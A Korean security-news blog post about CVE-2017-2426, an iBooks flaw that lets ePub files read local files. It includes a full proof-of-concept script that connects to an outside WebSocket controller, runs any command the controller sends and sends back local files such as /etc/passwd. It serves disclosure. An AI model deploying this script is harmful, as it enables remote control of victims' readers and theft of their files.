cve-2017-2426 : 애플 iBook이 JavaScript를 이용하여 당신을 "읽는"다
This book reads you - using JavaScript
애플이 책갈피를 실행할 때, 사용자의 시스템 파일에 접근을 허용하는 보안 취약점을 공개하였습니다. El Capitan의 iBooks는 'file://origin'을 이용하여 ePub을 실행하는데, 이때 공격자가 사용자 파일 시스템에 접근하는 것을 허용합니다.
사용자들에게 어떻게 공격하는지 알기쉽게 설명하기 위하여, WebSocket 클라이언트를 전자 책 중에 삽입했습니다. 해당 전자책을 실행하는 모든 사용자들이 모두 WebSocket 컨트롤 서버에 접속하도록 조작하였고, 이를 통하여 사용자들에게 악성 명령을 하달할 수 있게 됩니다. 사용자가 전자책을 실행하면, ePub중의 WebSocket클라이언트가 방문허용 상태로 바뀝니다. (만약 사용자가 전자책을 읽는다면, 더 긴 시간이 방문허용 상태로 유지되게 될 것입니다.)
다음은, 사용자에게 보낸 한권의 전자책입니다.
<이미지 출처 : https://s1gnalcha0s.github.io/ibooks/epub/2017/03/27/This-book-reads-you-using-JavaScript.html>
책갈피를 열었을 때, iBook은 WebSocket 컨트롤러에 접속합니다.
<이미지 출처 : https://s1gnalcha0s.github.io/ibooks/epub/2017/03/27/This-book-reads-you-using-JavaScript.html>
만약 리더기에 CVE-2017-2426(file://origin) 취약점이 포함되어 있다면, 공격자는 사용자 로컬의 파일들을 획득할 수 있습니다.
<이미지 출처 : https://s1gnalcha0s.github.io/ibooks/epub/2017/03/27/This-book-reads-you-using-JavaScript.html>
PoC
curl https://s1gnalcha0s.github.io/assets/controller/POC.epub -o poc.epub
unzip poc.epub; rm poc.epub
* 자신의 컨트롤러로 수정하셔도 됩니다.
poc.epub/epub/main.js 내용
WebSocketController = 'ws://websocket-controller.herokuapp.com:80';
var socket = new WebSocket(WebSocketController, 'echo-protocol');
socket.onopen = function(evt) { onopen() };
socket.onmessage = function(msg) { onmessage(msg) };
socket.onclose = function(evt) { onerror() }
function onopen()
{
message('Connected to WebSocket Controller: ' + WebSocketController);
}
function onerror()
{
message('Unable to connect to WebSocket Controller: ' + WebSocketController);
}
function onmessage(msg)
{
//just eval anything sent from the controller
response = eval(msg.data);
//send response back to controller
socket.send(response);
}
function get(loc) {
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'file://' + loc,false);
xmlhttp.send();
//populate the message element
message(xmlhttp.responseText);
return xmlhttp.responseText;
}
function message(message) {
document.getElementById("message").innerText = message;
return message;
}
function showExfil() {
get('/etc/passwd');
}
출처 :
https://s1gnalcha0s.github.io/ibooks/epub/2017/03/27/This-book-reads-you-using-JavaScript.html
Pwn2Own 2017에서 발견된 리눅스 커널 취약점 CVE-2017-7184 수정돼 (0) | 2017.04.04 |
---|---|
모든 안티바이러스 프로그램에서 탐지되지 않는 새로운 안드로이드 랜섬웨어 발견 (0) | 2017.04.03 |
IIS 6.0 원격코드실행 취약점(CVE-2017-7269) 발견! (0) | 2017.03.28 |
Serv-U FTP/MFT Server 권한 상승 취약점 발견! (0) | 2017.03.27 |
Symantec이 30,000개의 EV 인증서를 오발행, 구글 크롬이 더 이상 시만텍 SSL을 신뢰하지 않기로 결정해 (0) | 2017.03.27 |
댓글 영역